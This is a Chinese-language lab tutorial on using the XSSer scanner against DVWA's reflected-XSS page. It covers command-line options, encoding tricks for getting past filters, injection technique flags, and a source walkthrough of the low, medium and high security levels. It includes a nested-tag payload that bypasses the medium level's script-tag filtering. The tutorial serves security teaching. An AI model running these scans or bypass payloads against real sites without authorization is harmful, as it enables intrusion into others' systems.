目录
- 常用参数
- 编码
- 注入技术
- 源码分析
4.1 低安全级别“low”
4.2 中安全级别“medium”
4.3 高安全级别“hig”
1、常用参数
- 图形化:
xsser --gtk
- 命令行:
- 绕过服务器端输入筛选,10进制/16进制编码
- 验证服务器是否有xss漏洞
#xsser -u "http://192.168.50.183/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=low;PHPSESSID=8af40309e0e1e6e05a6c477087fe6436" -s -v --reverse-check
//拆分url,使用-g即为get,后面接参数;-s统计有多少个sql注入
- 检查服务端有哪些被过滤的字符 -heurisitc
#xsser -u "http://192.168.50.183/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=low;PHPSESSID=8af40309e0e1e6e05a6c477087fe6436" -s -v --heuristic
2、编码
对payload进行编码,绕过服务器端筛选过滤,可以多个组合多重编码,但要保证被服务器能够接受的是正确的语义:
--Str Use method String.FromCharCode()
--Une Use Unescape() function
--Mix Mix String.FromCharCode() and Unescape()
--Dec Use Decimal encoding
--Hex Use Hexadecimal encoding
--Hes Use Hexadecimal encoding, with semicolons
--Dwo Encode vectors IP addresses in DWORD
--Doo Encode vectors IP addresses in Octal
--Cem=CEM Try -manually- different Character Encoding Mutations
(reverse obfuscation: good) -> (ex: 'Mix,Une,Str,Hex')
3、注入技术
可以多重选择组合使用
--Coo Cross Site Scripting Cookie injection
--Xsa Cross Site Agent Scripting
--Xsr Cross Site Referer Scripting
--Dcp Data Control Protocol injections
--Dom Document Object Model injections
--Ind HTTP Response Splitting Induced code
--Anchor Use Anchor Stealth payloader (DOM shadows!)
--Phpids PHP - Exploit PHPIDS bug (0.6.5) to bypass filters //利用0.6.5的bug绕过过滤机制
--Doss XSS Denial of service (server) injection
--Dos XSS Denial of service (client) injection
--B64 Base64 code encoding in META tag (rfc2397)
--Onm ONM - Use onMouseMove() event to inject code //基于事件,当移动鼠标的时候触发
--Ifr Use <iframe> source tag to inject code
4、源码分析
4.1、 低安全级别“low”
低级别没有对字符进行任何的过滤,只是用户输入什么,就返回什么。
low级别
4.2、中安全级别“medium”
中级别:服务端接收用户输入的信息,但是在返回给用户的时候,将含有“<script>”替换为空字符返回,使之不能再浏览器端被执行js脚本。
medium级别
执行效果
medium级别绕过方法:<scr<script>ipt>alert('xss')</script>
构造script
执行效果
4.3、高安全级别“hig”
通过htmlspecialchars函数,将含有<、>在返回给用户的时候分别转换为<、>;
目前html编码是防范html最有效的方式
high级别